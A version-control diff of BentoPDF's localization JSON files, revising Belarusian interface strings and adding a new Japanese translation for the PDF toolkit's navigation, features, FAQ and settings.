+14 -12
View File
@@ -96,6 +96,15 @@
"webpImages": "Відарысы WebP"
}
},
"howItWorks": {
"title": "Як гэта працуе",
"step1": "Націсніце або перацягніце файл, каб пачаць",
"step2": "Націсніце кнопку апрацоўкі",
"step3": "Імгненна захавайце апрацаваны файл"
},
"relatedTools": {
"title": "Звязаныя інструменты PDF"
},
"loader": {
"processing": "Апрацоўка..."
},
@@ -167,6 +176,7 @@
"faq": {
"title": "Частыя",
"questions": "пытанні",
"sectionTitle": "Частыя пытанні",
"isFree": {
"question": "BentoPDF сапраўды бясплатны?",
"answer": "Так, абсалютна. Усе інструменты BentoPDF на 100% бясплатныя для выкарыстання, без лімітаў файлаў, без рэгістрацыі і без вадзяных знакаў. Мы верым, што кожны мае права доступу да простых і магутных інструментаў PDF без платных бар'ераў."
@@ -198,8 +208,7 @@
"analytics": {
"question": "Вы выкарыстоўваеце cookies або аналітыку, каб сачыць за мной?",
"answer": "Мы дбаем пра вашу прыватнасць. BentoPDF не адсочвае персанальную інфармацыю. Мы выкарыстоўваем Simple Analytics, толькі каб бачыць ананімную статыстыку наведванняў. Гэта значыць, мы ведаем, колькі карыстальнікаў наведвае наш сайт, але ніколі не ведаем, хто вы. Simple Analytics цалкам адпавядае GDPR і шануе вашу прыватнасць."
},
"sectionTitle": "Частыя пытанні"
}
},
"testimonials": {
"title": "Што кажуць",
@@ -252,11 +261,13 @@
"add": "Дадаць",
"remove": "Выдаліць",
"loading": "Загрузка...",
"loadingPageCount": "Загрузка старонак...",
"error": "Памылка",
"success": "Поспех",
"file": "Файл",
"files": "Файлы",
"close": "Зачыніць"
"close": "Закрыць",
"convert": "Канвертаваць"
},
"about": {
"hero": {
@@ -350,15 +361,6 @@
"error": "Памылка",
"failedToLoad": "Не ўдалося загрузіць"
},
"howItWorks": {
"title": "Як гэта працуе",
"step1": "Націсніце або перацягніце файл, каб пачаць",
"step2": "Націсніце кнопку апрацоўкі",
"step3": "Праз імгненне захавайце апрацаваны файл"
},
"relatedTools": {
"title": "Звязаныя інструменты PDF"
},
"simpleMode": {
"title": "Інструменты PDF",
"subtitle": "Выберыце інструмент, каб пачаць"
+119 -61
View File
@@ -88,19 +88,19 @@
},
"addPageLabels": {
"name": "Дадаць пазнакі старонак",
"subtitle": "Ужывайце пазнакі старонак PDF з рымскімі лічбамі, прэфіксамі і карыстальніцкім пачаткам.",
"uploadHint": "PDF-файл",
"subtitle": "Прымяніць пазнакі старонак PDF з рымскімі лічбамі, прэфіксамі і карыстальніцкімі пачатковымі значэннямі.",
"uploadHint": "Файл PDF",
"howLabelsWorkTitle": "Як працуюць пазнакі",
"howLabelsWorkStep1": "Пакіньце дыяпазон старонак пустым, каб пазначыць усе старонкі.",
"howLabelsWorkStep2": "Выкарыстоўвайце стылі, напрыклад рымскія лічбы для ўступных старонак і дзесятковую нумарацыю для асноўнай часткі.",
"howLabelsWorkStep3": "Выкарыстоўвайце прэфікс са значэннем пачатку 0, каб стварыць пазнакі накшталт A-0, A-1, A-2.",
"howLabelsWorkStep2": "Выкарыстоўвайце стылі кшталту рымскіх лічбаў для ўступных старонак і дзесятковую нумарацыю для асноўнай часткі.",
"howLabelsWorkStep3": "Выкарыстоўвайце прэфікс з пачатковым значэннем 0, каб стварыць пазнакі накшталт A-0, A-1, A-2.",
"howLabelsWorkStep4": "Уключыце працяг нумарацыі, калі адно правіла выкарыстоўвае разарваны дыяпазон, напрыклад 1-9,30-40 або няцотныя старонкі.",
"labelRulesTitle": "Правілы пазнак",
"addRule": "Дадаць правіла",
"removeExistingLabels": "Выдаліць існуючыя пазнакі старонак перад ужываннем гэтых правіл",
"cpdfNote": "Гэты інструмент выкарыстоўвае CoherentPDF у вашым браўзеры. Калі CoherentPDF не настроены, вам будзе прапанавана наладзіць яго ў наладах WASM.",
"removeExistingLabels": "Выдаліць існуючыя пазнакі старонак перад прымяненнем гэтых правіл",
"cpdfNote": "Гэты інструмент выкарыстоўвае CoherentPDF у вашым браўзеры. Калі CoherentPDF не наладжаны, вам будзе прапанавана наладзіць яго ў наладах WASM.",
"processButton": "Дадаць пазнакі старонак",
"howItWorksUploadTitle": "Загрузіць файл",
"howItWorksUploadTitle": "Запампаваць файл",
"howItWorksUploadDescription": "Выберыце PDF, які хочаце перапазначыць.",
"howItWorksDefineTitle": "Вызначыць правілы",
"howItWorksDefineDescription": "Наладзьце адно або некалькі правіл пазнак старонак з дыяпазонамі, стылямі, прэфіксамі і пачатковымі значэннямі.",
@@ -108,30 +108,30 @@
"howItWorksDownloadDescription": "Захавайце абноўлены PDF з новымі пазнакамі старонак.",
"relatedToolsTitle": "Звязаныя інструменты PDF",
"faqWhatIsQuestion": "Што такое пазнака старонкі?",
"faqWhatIsAnswer": "Пазнака старонкі - гэта нумарацыя, якую чытачы PDF паказваюць у мініяцюрах, навігацыі па старонках і дыялогах друку. Яна не друкуе новы тэкст на самой старонцы.",
"faqWhatIsAnswer": "Пазнака старонкі - гэта нумарацыя, якую чытальнікі PDF паказваюць у мініяцюрах, навігацыі па старонках і дыялогах друку. Яна не друкуе новы тэкст на самой старонцы.",
"faqMixQuestion": "Ці можна спалучаць рымскія і звычайныя лічбы?",
"faqMixAnswer": "Так. Дадайце некалькі правіл, напрыклад 1-4 з LowercaseRoman і 5-20 з DecimalArabic.",
"faqPrivacyQuestion": "Ці застаюцца мае файлы прыватнымі?",
"faqPrivacyAnswer": "Так. Апрацоўка адбываецца ў вашым браўзеры з дапамогай CoherentPDF WASM. Ваш PDF не пакідае прыладу.",
"invalidFileTitle": "Няправільны файл",
"invalidFileMessage": "Калі ласка, загрузіце сапраўдны PDF-файл.",
"faqPrivacyAnswer": "Так. Апрацоўка адбываецца ў вашым браўзеры з дапамогай CoherentPDF WASM. PDF не пакідае прыладу.",
"invalidFileTitle": "Памылковы файл",
"invalidFileMessage": "Запампуйце карэктны PDF-файл.",
"loadingPdf": "Загрузка PDF...",
"protectedPdfTitle": "Абаронены PDF",
"protectedPdfMessage": "Гэты PDF абаронены паролем. Спачатку выкарыстайце інструмент расшыфроўкі або змены дазволаў.",
"loadErrorMessage": "Не ўдалося загрузіць PDF. Файл можа быць няправільным, пашкоджаным або абароненым паролем.",
"fileMeta": "{{size}} • {{count}} старонак",
"ruleTitle": "Правіла пазнакі {{number}}",
"protectedPdfMessage": "Гэты PDF абаронены паролем. Спачатку скарыстайце інструмент расшыфроўкі або змены дазволаў.",
"loadErrorMessage": "Не ўдалося загрузіць PDF. Файл можа быць памылковым, пашкоджаным або абароненым паролем.",
"fileMeta": "{{size}} • {{count}} стар.",
"ruleTitle": "Правіла пазнак {{number}}",
"pageRangeLabel": "Дыяпазон старонак",
"pageRangePlaceholder": "Усе старонкі, або напр. 1-4, 7, няцотныя",
"labelStyleLabel": "Стыль пазнакі",
"labelPrefixLabel": "Прэфікс пазнакі",
"labelStyleLabel": "Стыль пазнак",
"labelPrefixLabel": "Прэфікс пазнак",
"labelPrefixPlaceholder": "Неабавязковы прэфікс, напр. A-",
"startValueLabel": "Пачатковае значэнне",
"continueNumbering": "Працягваць нумарацыю праз разарваныя дыяпазоны",
"examplesNote": "Прыклады: 1-4 для рымскай нумарацыі ўступных старонак, 15-20 з прэфіксам A- і пачаткам 0, або няцотныя старонкі з уключаным працягам.",
"uploadFirstMessage": "Спачатку загрузіце PDF-файл.",
"applyingLabels": "Ужыванне пазнак старонак...",
"invalidRangeMessage": "Правіла {{number}} мае няправільны дыяпазон старонак: {{range}}",
"uploadFirstMessage": "Спачатку запампуйце файл PDF.",
"applyingLabels": "Прымяненне пазнак старонак...",
"invalidRangeMessage": "Правіла {{number}} мае памылковы дыяпазон старонак: {{range}}",
"allPages": "усе старонкі",
"emptyOutputMessage": "CoherentPDF стварыў пусты файл.",
"successMessage": "Пазнакі старонак паспяхова дададзены!",
@@ -263,37 +263,95 @@
},
"pdfToJpg": {
"name": "PDF у JPG",
"subtitle": "Канвертаваць кожную старонку PDF у відарыс JPG."
"subtitle": "Канвертаваць кожную старонку PDF у відарыс JPG.",
"imageQuality": "Якасць відарыса",
"imageQualityExplanation": "Вышэйшая якасць = большы памер файла",
"alert": {
"invalidFile": "Памылковы файл",
"invalidFileExplanation": "Запампуйце файл PDF.",
"noFile": "Няма файла",
"noFileExplanation": "Спачатку запампуйце файл PDF.",
"conversionSuccess": "PDF паспяхова канвертаваны ў JPGs!",
"conversionError": "Не ўдалося канвертаваць PDF у JPG. Файл можа быць пашкоджаны."
},
"loader": {
"converting": "Канвертацыя ў JPG..."
}
},
"pdfToPng": {
"name": "PDF у PNG",
"subtitle": "Канвертаваць кожную старонку PDF у відарыс PNG."
"subtitle": "Канвертаваць кожную старонку PDF у відарыс PNG.",
"imageScale": "Маштаб відарыса",
"imageScaleExplanation": "Большы маштаб = лепшая якасць, але большы памер файла",
"alert": {
"invalidFile": "Памылковы файл",
"invalidFileExplanation": "Запампуйце файл PDF.",
"noFile": "Няма файла",
"noFileExplanation": "Спачатку запампуйце файл PDF.",
"conversionSuccess": "PDF паспяхова канвертаваны ў PNGs!",
"conversionError": "Не ўдалося канвертаваць PDF у PNG. Файл можа быць пашкоджаны."
},
"loader": {
"converting": "Канвертацыя ў PNG..."
}
},
"pdfToWebp": {
"name": "PDF у WebP",
"subtitle": "Канвертаваць кожную старонку PDF у відарыс WebP."
"subtitle": "Канвертаваць кожную старонку PDF у відарыс WebP.",
"imageQuality": "Якасць відарыса",
"imageQualityExplanation": "Вышэйшая якасць = большы памер файла",
"alert": {
"invalidFile": "Памылковы файл",
"invalidFileExplanation": "Запампуйце файл PDF.",
"noFile": "Няма файла",
"noFileExplanation": "Спачатку запампуйце файл PDF.",
"conversionSuccess": "PDF паспяхова канвертаваны ў WebPs!",
"conversionError": "Не ўдалося канвертаваць PDF у WebP. Файл можа быць пашкоджаны."
},
"loader": {
"converting": "Канвертацыя ў WebP..."
}
},
"pdfToBmp": {
"name": "PDF у BMP",
"subtitle": "Канвертаваць кожную старонку PDF у відарыс BMP."
"subtitle": "Канвертаваць кожную старонку PDF у відарыс BMP.",
"alert": {
"invalidFile": "Памылковы файл",
"invalidFileExplanation": "Запампуйце файл PDF.",
"noFile": "Няма файла",
"noFileExplanation": "Спачатку запампуйце файл PDF.",
"conversionSuccess": "PDF паспяхова канвертаваны ў BMPs!",
"conversionError": "Не ўдалося канвертаваць PDF у BMP. Файл можа быць пашкоджаны."
},
"loader": {
"converting": "Канвертацыя ў BMP..."
}
},
"pdfToTiff": {
"name": "PDF у TIFF",
"subtitle": "Канвертаваць кожную старонку PDF у відарыс TIFF.",
"dpi": "DPI (Разрашэнне)",
"dpi": "DPI (Раздзяляльнасць)",
"dpiExplanation": "Вышэйшы DPI = лепшая якасць для друку, большы памер файла",
"compression": "Сціск",
"compression": "Сцісканне",
"compressionExplanation": "LZW і Deflate — без страт. CCITT Group 4 лепш за ўсё падыходзіць для чорна-белых сканаваных дакументаў.",
"colorMode": "Каляровы рэжым",
"multiPage": "Захаваць як шматстаронкавы TIFF (адзін файл)",
"loadingVips": "Загрузка апрацоўшчыка відарысаў...",
"converting": "Канвертаванне ў TIFF..."
"converting": "Канвертацыя ў TIFF...",
"alert": {
"invalidFile": "Памылковы файл",
"invalidFileExplanation": "Запампуйце файл PDF.",
"noFile": "Няма файла",
"noFileExplanation": "Спачатку запампуйце файл PDF.",
"conversionSuccess": "PDF паспяхова канвертаваны ў TIFFs!",
"conversionError": "Не ўдалося канвертаваць PDF у TIFF. Файл можа быць пашкоджаны."
}
},
"pdfToCbz": {
"name": "PDF у CBZ",
"subtitle": "Канвертаваць PDF у файл CBZ (архіў коміксаў) для чытачоў коміксаў.",
"imageFormat": "Фармат выявы",
"quality": "Якасць выявы",
"subtitle": "Канвертаваць PDF у файл CBZ (архіў коміксаў) для чытальнікаў коміксаў.",
"imageFormat": "Фармат відарыса",
"quality": "Якасць відарыса",
"qualityExplanation": "Вышэйшая якасць = большы памер файла",
"scale": "Маштаб",
"scaleExplanation": "Вышэйшы маштаб = лепшая якасць для экранаў высокай раздзяляльнасці",
@@ -309,12 +367,12 @@
"tagsLabel": "Тэгі / Жанр",
"yearLabel": "Год выдання",
"ratingLabel": "Рэйтынг (0-5)",
"converting": "Канвертаванне ў CBZ...",
"converting": "Канвертацыя ў CBZ...",
"alert": {
"invalidFile": "Няправільны файл",
"invalidFileExplanation": "Калі ласка, загрузіце файл PDF.",
"invalidFile": "Памылковы файл",
"invalidFileExplanation": "Запампуйце файл PDF.",
"noFile": "Няма файла",
"noFileExplanation": "Калі ласка, спачатку загрузіце файл PDF.",
"noFileExplanation": "Спачатку запампуйце файл PDF.",
"conversionSuccess": "PDF паспяхова канвертаваны ў CBZ!",
"conversionError": "Не ўдалося канвертаваць PDF у CBZ. Файл можа быць пашкоджаны."
}
@@ -400,35 +458,35 @@
"syncScroll": "Сінхранізаваць пракрутку",
"export": "Экспарт",
"exportAsPdf": "Экспартаваць як PDF",
"splitView": "Падзелены выгляд",
"splitView": "Падзелены экран",
"alternating": "Чаргаванне",
"leftDocument": "Левы дакумент",
"rightDocument": "Правы дакумент",
"original": "Арыгінал",
"modified": "Зменены",
"searchChanges": "Шукаць змены...",
"searchChanges": "Пошук змен...",
"deleted": "Выдалена",
"added": "Дададзена",
"prevPage": "Папярэдняя старонка",
"nextPage": "Наступная старонка",
"prevChange": "Папярэдняя змена",
"nextChange": "Наступная змена",
"uploadTwoPdfs": "Загрузіце два PDF, каб убачыць адрозненні.",
"uploadTwoPdfs": "Запампуйце два PDF, каб убачыць адрозненні.",
"noDifferences": "На гэтай старонцы адрозненняў не выяўлена.",
"noMatchingChanges": "Няма змен, што адпавядаюць бягучаму фільтру.",
"pageNotExist": "Старонка {{page}} не існуе ў гэтым PDF.",
"noPairedPage": "Для гэтага боку няма спаранай старонкі.",
"noPairedPage": "Для гэтага боку няма парнай старонкі.",
"buildingModel": "Стварэнне мадэлі супастаўлення старонак...",
"indexingPdf": "Індэксацыя PDF {{num}}, старонка {{page}} з {{total}}...",
"indexingPdf": "Індэксаванне PDF {{num}}, старонка {{page}} з {{total}}...",
"loadingComparison": "Загрузка параўнання {{current}} з {{total}}...",
"runningOcr": "Запуск OCR на старонцы {{page}}...",
"preparingExport": "Падрыхтоўка экспарту PDF...",
"renderingPage": "Адмалёўка старонкі {{current}} з {{total}}...",
"renderingPage": "Апрацоўка старонкі {{current}} з {{total}}...",
"exportError": "Памылка экспарту",
"exportFailed": "Не ўдалося экспартаваць PDF параўнання.",
"loadingFile": "Загрузка {{name}}...",
"invalidFile": "Няправільны файл",
"invalidFileMsg": "Калі ласка, абярыце сапраўдны PDF-файл.",
"invalidFile": "Памылковы файл",
"invalidFileMsg": "Выберыце карэктны файл PDF.",
"loadError": "Не ўдалося загрузіць PDF. Магчыма, ён пашкоджаны або абаронены паролем."
},
"posterizePdf": {
@@ -691,13 +749,13 @@
"subtitle": "Праверыць лічбавыя подпісы ў PDF. Праверыць сапраўднасць сертыфіката, паглядзець дэталі падпісанта і пацвердзіць надзейнасць дакумента. Уся апрацоўка адбываецца ў вашым браўзеры."
},
"timestampPdf": {
"name": "Пазначыць PDF часам",
"pageTitle": "Часовая пазнака PDF бясплатна - RFC 3161 | BentoPDF",
"subtitle": "Дадайце часовую пазнаку RFC 3161 да PDF праз давераны сервер TSA. Даказвае, што ваш дакумент існаваў у пэўны момант часу. Сертыфікат не патрабуецца.",
"tsaSectionTitle": "Сервер часовых пазнак (TSA)",
"selectTsa": "Абраць сервер TSA",
"applyTimestamp": "Прымяніць часовую пазнаку",
"successMessage": "PDF паспяхова пазначаны часам! Пазнаку можна праверыць у Adobe Acrobat і іншых PDF-праглядчыках."
"name": "Дадаць у PDF пазнаку часу",
"pageTitle": "Дадаць пазнаку часу бясплатна - RFC 3161 | BentoPDF",
"subtitle": "Дадаць пазнаку часу RFC 3161 у PDF праз давераны сервер TSA. Даказвае, што ваш дакумент існаваў у пэўны момант часу. Сертыфікат не патрабуецца.",
"tsaSectionTitle": "Сервер пазнак часу (TSA)",
"selectTsa": "Выбраць сервер TSA",
"applyTimestamp": "Прымяніць пазнаку часу",
"successMessage": "PDF паспяхова атрымаў пазнаку часу! Пазнаку можна праверыць у Adobe Acrobat і іншых PDF-праглядчыках."
},
"emailToPdf": {
"name": "Email у PDF",
@@ -775,29 +833,29 @@
"advancedSettings": "Пашыраныя налады"
},
"pdfOverlay": {
"name": "Накладванне PDF",
"subtitle": "Накладваць або падкладваць старонкі аднаго PDF на іншы.",
"name": "Накладанне PDF",
"subtitle": "Накласці або падкласці старонкі аднаго PDF на іншы.",
"basePdfLabel": "Базавы PDF",
"uploadBasePdf": "Загрузіць базавы PDF",
"uploadBasePdf": "Запампаваць базавы PDF",
"overlayPdfLabel": "PDF для накладання / падкладання",
"uploadOverlayPdf": "Загрузіць PDF для накладання/падкладання",
"uploadOverlayPdf": "Запампаваць PDF для накладання/падкладання",
"modeLabel": "Рэжым",
"overlayOption": "Накладанне (зверху старонак)",
"underlayOption": "Падкладанне (за старонкамі)",
"pageRangeLabel": "Прымяніць да старонак (неабавязкова)",
"pageRangeHint": "Выкарыстоўвайце \"z\" для апошняй старонкі. Пакіньце пустым для прымянення да ўсіх старонак.",
"repeatLabel": "Паўтараць старонкі накладання/падкладання, калі базавы даўжэй",
"pageRangeHint": "Выкарыстоўвайце \"z\" для апошняй старонкі. Пакіньце пустым, каб прымяніць да ўсіх старонак.",
"repeatLabel": "Паўтараць накладанне/падкладанне, калі базавы PDF даўжэйшы",
"processButton": "Прымяніць накладанне / падкладанне",
"howItWorksUploadTitle": "Загрузіце два PDF",
"howItWorksUploadDescription": "Загрузіце базавы PDF і PDF, які хочаце накласці або падкласці.",
"howItWorksModeTitle": "Абярыце рэжым",
"howItWorksModeDescription": "Абярыце накладанне (зверху) або падкладанне (ззаду). Можна ўсталяваць дыяпазон старонак і паўтор.",
"howItWorksDownloadTitle": "Спампаваць",
"howItWorksUploadTitle": "Запампуйце два PDF",
"howItWorksUploadDescription": "Запампуйце базавы PDF і PDF, які хочаце накласці або падкласці.",
"howItWorksModeTitle": "Выберыце рэжым",
"howItWorksModeDescription": "Выберыце накладанне (зверху) або падкладанне (ззаду). Можна задаць дыяпазон старонак і паўтор.",
"howItWorksDownloadTitle": "Спампуйце",
"howItWorksDownloadDescription": "Спампуйце PDF з прымененым накладаннем або падкладаннем.",
"faqDifferenceQuestion": "У чым розніца паміж накладаннем і падкладаннем?",
"faqDifferenceAnswer": "Накладанне размяшчае старонкі зверху базавага PDF (як вадзяны знак). Падкладанне размяшчае старонкі за базавым PDF (як фірмовы бланк або фон).",
"faqSinglePageQuestion": "Ці магу я выкарыстоўваць аднастаронкавы PDF як накладанне для ўсіх старонак?",
"faqSinglePageAnswer": "Так! Уключыце опцыю \"Паўтор\" і старонкі накладання будуць паўтарацца на ўсіх старонках базавага файла. Аднастаронкавы вадзяны знак будзе прымяняцца да кожнай старонкі.",
"faqSinglePageAnswer": "Так! Уключыце опцыю \"Паўтараць\" і старонкі накладання будуць паўтарацца на ўсіх старонках базавага файла. Аднастаронкавы вадзяны знак будзе прымяняцца да кожнай старонкі.",
"faqPrivacyQuestion": "Ці з'яўляюцца мае файлы прыватнымі і бяспечнымі?",
"faqPrivacyAnswer": "Безумоўна! Уся апрацоўка адбываецца ў вашым браўзеры. Вашы файлы ніколі не пакідаюць вашу прыладу, забяспечваючы поўную прыватнасць."
}
+374
View File
@@ -0,0 +1,374 @@
{
"nav": {
"home": "ホーム",
"about": "BentoPDFについて",
"contact": "コンタクト",
"licensing": "ライセンス",
"allTools": "すべてのツール",
"docs": "ドキュメント",
"openMainMenu": "メインメニューを開く",
"language": "言語"
},
"donation": {
"message": "BentoPDFは好きですか?無料かつオープンソースを維持するためにご協力ください!",
"button": "寄付する"
},
"hero": {
"title": "プライバシーのために作られた",
"pdfToolkit": "PDFツールキット",
"builtForPrivacy": " ",
"noSignups": "登録不要",
"unlimitedUse": "無制限の利用",
"worksOffline": "オフラインでも動作",
"startUsing": "今すぐ使い始めよう"
},
"usedBy": {
"title": "これらの企業や従業員に利用されています"
},
"features": {
"title": "選ぶ理由",
"bentoPdf": "BentoPDFとは?",
"noSignup": {
"title": "登録不要",
"description": "アカウントやメールは不要ですぐに始められます。"
},
"noUploads": {
"title": "アップロード不要",
"description": "100%クライアント側で行われるためファイルがデバイスの外に流出することはありません。"
},
"foreverFree": {
"title": "永久に無料",
"description": "すべてのツールに試用版、ペイウォールはありません。"
},
"noLimits": {
"title": "制限なし",
"description": "隠れた制限はなく、必要なだけ使用できます。"
},
"batchProcessing": {
"title": "バッチ処理",
"description": "無制限なくPDFを一度に処理します。"
},
"lightningFast": {
"title": "超高速処理",
"description": "待つことも遅れたりすることもなくPDFを瞬時に処理します。"
}
},
"tools": {
"title": "始めましょう",
"toolsLabel": "ツール",
"subtitle": "ツールをクリックしてファイルアップローダーを開きます",
"searchPlaceholder": "ツールを検索します(例: 「分割」、「整理」など)",
"backToTools": "ツールに戻る",
"firstLoadNotice": "変換エンジンをダウンロードするため最初の読み込みには少し時間がかかります。その後、すべての読み込みは瞬時に行われます。"
},
"upload": {
"clickToSelect": "クリックしてファイルを選択します",
"orDragAndDrop": "またはドラッグ&ドロップ",
"pdfOrImages": "PDFまたは画像",
"filesNeverLeave": "ファイルがデバイスの外に出ることはありません。",
"addMore": "さらにファイルを追加する",
"clearAll": "すべてクリア",
"clearFiles": "ファイルをクリア",
"hints": {
"singlePdf": "単一のPDFファイル",
"pdfFile": "PDFファイル",
"multiplePdfs2": "複数のPDFファイル(2つ以上)",
"bmpImages": "BMP画像",
"oneOrMorePdfs": "1つ以上のPDFファイル",
"pdfDocuments": "PDFドキュメント",
"oneOrMoreCsv": "1つ以上のCSVファイル",
"multiplePdfsSupported": "複数のPDFファイルをサポート",
"singleOrMultiplePdfs": "単一または複数のPDFファイルをサポート",
"singlePdfFile": "単一のPDFファイル",
"pdfWithForms": "フォームフィールドを含むPDFファイル",
"heicImages": "HEIC/HEIF画像",
"jpgImages": "JPG、JPEG、JP2、JPX画像",
"pdfsOrImages": "PDFまたは画像",
"oneOrMoreOdt": "1つ以上のODTファイル",
"singlePdfOnly": "単一のPDFファイルのみ",
"pdfFiles": "PDFファイル",
"multiplePdfs": "複数のPDFファイル",
"pngImages": "PNG画像",
"pdfFilesOneOrMore": "PDFファイル(1つ以上)",
"oneOrMoreRtf": "1つ以上のRTFファイル",
"svgGraphics": "SVGグラフィック",
"tiffImages": "TIFF画像",
"webpImages": "WebP 画像"
}
},
"howItWorks": {
"title": "仕組み",
"step1": "ファイルをクリックまたはドラッグ&ドロップして始めます",
"step2": "プロセスボタンをクリックしてスタートします",
"step3": "処理したファイルをすぐに保存します"
},
"relatedTools": {
"title": "関連するPDFツール"
},
"loader": {
"processing": "処理中..."
},
"alert": {
"title": "注意",
"ok": "OK"
},
"preview": {
"title": "ドキュメントのプレビュー",
"downloadAsPdf": "PDFとしてダウンロード",
"close": "閉じる"
},
"settings": {
"title": "設定",
"shortcuts": "ショートカット",
"preferences": "環境設定",
"displayPreferences": "表示設定",
"searchShortcuts": "ショートカットを検索...",
"shortcutsInfo": "キーを押したままにしてショートカットを設定します。変更は自動保存されます。",
"shortcutsWarning": "⚠️ 一般的なブラウザショートカット(Cmd/Ctrl+W, Cmd/Ctrl+T, Cmd/Ctrl+N など)は正常に動作しない可能性があるので避けてください。",
"import": "インポート",
"export": "エクスポート",
"resetToDefaults": "初期値にリセット",
"fullWidthMode": "全幅モード",
"fullWidthDescription": "すべてのツールでコンテナを中央に配置するのではなく、全画面幅を使用します。",
"settingsAutoSaved": "設定は自動的に保存されます",
"clickToSet": "クリックして設定します",
"pressKeys": "キーを押してください...",
"warnings": {
"alreadyInUse": "ショートカットはすでに使用されています",
"assignedTo": "はすでに以下に割り当てられています:",
"chooseDifferent": "別のショートカットを選択してください。",
"reserved": "予約済みショートカットの警告",
"commonlyUsed": "一般的に次の目的で使用されます。",
"unreliable": "このショートカットは正常に動作しない場合やブラウザ/システムの動作と競合する可能性があります。",
"useAnyway": "どうしても使いたいですか?",
"resetTitle": "ショートカットをリセットする",
"resetMessage": "すべてのショートカットを初期値にリセットしてもよろしいですか?<br><br>この操作は元に戻すことができません。",
"importSuccessTitle": "インポート成功",
"importSuccessMessage": "ショートカットが正常にインポートされました。",
"importFailTitle": "インポートに失敗しました",
"importFailMessage": "ショートカットのインポートに失敗しました。無効なファイル形式です。"
}
},
"warning": {
"title": "警告",
"cancel": "キャンセル",
"proceed": "進む"
},
"compliance": {
"title": "データがデバイスから離れることはありません",
"weKeep": "私たちは世界的な基準に従って",
"yourInfoSafe": "あなたの情報の安全",
"byFollowingStandards": "を保護しています。",
"processingLocal": "すべての処理はデバイス上でローカルに行われます。",
"gdpr": {
"title": "GDPR準拠",
"description": "欧州連合内の個人データとプライバシーを保護します。"
},
"ccpa": {
"title": "CCPA準拠",
"description": "カリフォルニア州の住民に、個人情報の収集、使用、共有方法についての権利を与えます。"
},
"hipaa": {
"title": "HIPAA準拠",
"description": "米国の医療システムで機密の医療情報を扱うための保護措置を設定します。"
}
},
"faq": {
"title": "よくある",
"questions": "質問",
"sectionTitle": "よくある質問",
"isFree": {
"question": "BentoPDFは本当に無料ですか?",
"answer": "はい、絶対に。BentoPDFのすべてのツールは完全に無料で使用でき、ファイル制限、サインアップ、ウォーターマークはありません。私たちは誰もがペイウォールなしでシンプルで強力なPDFツールにアクセスする権利があると信じています。"
},
"areFilesSecure": {
"question": "私のファイルは安全ですか?どこで処理されますか?",
"answer": "ファイルはコンピュータから外部に流出することがないため可能な限り安全に保たれます。すべての処理はWebブラウザ(クライアント側)で直接行われます。ファイルをサーバーにアップロードすることはありません。そのため完全なプライバシーとドキュメントの管理が維持されます。"
},
"platforms": {
"question": "Mac、Windows、モバイルで動作しますか?",
"answer": "はい!BentoPDFは完全にブラウザ内で実行されるため、Windows, macOS, Linux, iOS,やAndroidなど、最新のWebブラウザを備えたあらゆるOSで動作します。"
},
"gdprCompliant": {
"question": "BentoPDFはGDPRに準拠していますか?",
"answer": "はい。BentoPDFはGDPRに完全に準拠しています。すべてのファイル処理はブラウザ内でローカルに行われ、私たちがファイルを収集したりサーバーに送信したりすることはないため、私たちはお客様のデータにアクセスすることはできません。これによりドキュメントを常に管理できるようになります。"
},
"dataStorage": {
"question": "私のファイルを保存または追跡しますか?",
"answer": "いいえ。私たちはあなたのファイルを保存、追跡、または記録することはありません。BentoPDFで行うことはすべてブラウザのメモリ内で行われ、ページを閉じると消えます。アップロード、履歴ログ、サーバーの関与はありません。"
},
"different": {
"question": "BentoPDFは他のPDFツールと何が違うのですか?",
"answer": "ほとんどのPDFツールは処理のためにファイルをサーバーにアップロードします。BentoPDFではそんなことはありません。私たちは安全な最新のWebテクノロジーを使用してブラウザでファイルを直接処理します。これはより高速なパフォーマンス、より強力なプライバシー、そして完全な安心感を意味します。"
},
"browserBased": {
"question": "ブラウザベースの処理はどのようにして安全を確保しますか?",
"answer": "BentoPDFは完全にブラウザ内で実行されるため、ファイルがデバイスの外に流出することはありません。これによりサーバーのハッキング、データ侵害、不正アクセスのリスクが排除されます。ファイルは常にあなたのものになります。"
},
"analytics": {
"question": "私を追跡するためにCookieまたは分析を使用しますか?",
"answer": "私たちはあなたのプライバシーを大切にしています。BentoPDFは個人情報を追跡しません。私たちは匿名の訪問数を確認するためにのみSimple Analyticsを使用します。これは私たちのサイトにアクセスしたユーザーの数を知ることはできますが、あなたが誰であるかは決して分からないことを意味します。 Simple AnalyticsはGDPRに完全に準拠しており、プライバシーを尊重します。"
}
},
"testimonials": {
"title": " ",
"users": "利用者",
"say": "の声"
},
"support": {
"title": "私の作品が好きですか?",
"description": "BentoPDFは情熱を注いだプロジェクトで、無料、プライベート、そして強力なPDFツールキットをすべての人に提供するために構築されました。役立つと思われる場合は、その開発をサポートすることを検討してください。どのコーヒーも役に立ちます!",
"buyMeCoffee": "コーヒーを買ってください"
},
"footer": {
"copyright": "© 2026 BentoPDF。無断転載を禁じます。",
"version": "バージョン",
"company": "会社",
"aboutUs": "当社について",
"faqLink": "よくある質問",
"contactUs": "お問い合わせ",
"legal": "法的情報",
"termsAndConditions": "利用規約",
"privacyPolicy": "プライバシーポリシー",
"followUs": "フォローする"
},
"merge": {
"title": "PDFの結合",
"description": "ファイル全体を結合するか、特定のページを選択して新しいドキュメントに結合します。",
"fileMode": "ファイルモード",
"pageMode": "ページモード",
"howItWorks": "仕組み:",
"fileModeInstructions": [
"ファイルの順序を変更するには、アイコンをクリックしてドラッグします。",
"各ファイルの「ページ」ボックスで範囲(「1-3,5」など)を指定して、それらのページのみを結合できます。",
"そのファイルのすべてのページを含めるには「ページ」ボックスを空白のままにします。"
],
"pageModeInstructions": [
"アップロードしたPDFのすべてのページが以下に表示されます。",
"個々のページのサムネイルをドラッグ&ドロップするだけで、新しいファイルに希望どおりの順序を作成できます。"
],
"mergePdfs": "PDFを結合する"
},
"common": {
"page": "ページ",
"pages": "ページ",
"of": "の",
"download": "ダウンロード",
"cancel": "キャンセル",
"save": "保存",
"delete": "消去",
"edit": "編集",
"add": "追加",
"remove": "取り除く",
"loading": "読み込み中...",
"loadingPageCount": "ページを読み込んでいます...",
"error": "エラー",
"success": "成功",
"file": "ファイル",
"files": "ファイル",
"close": "閉じる",
"convert": "変換"
},
"about": {
"hero": {
"title": "私たちはPDFツールは次のようにあるべきだと考えています。",
"subtitle": "高速、プライベート、そして無料。",
"noCompromises": "妥協はありません。"
},
"mission": {
"title": "私たちの使命",
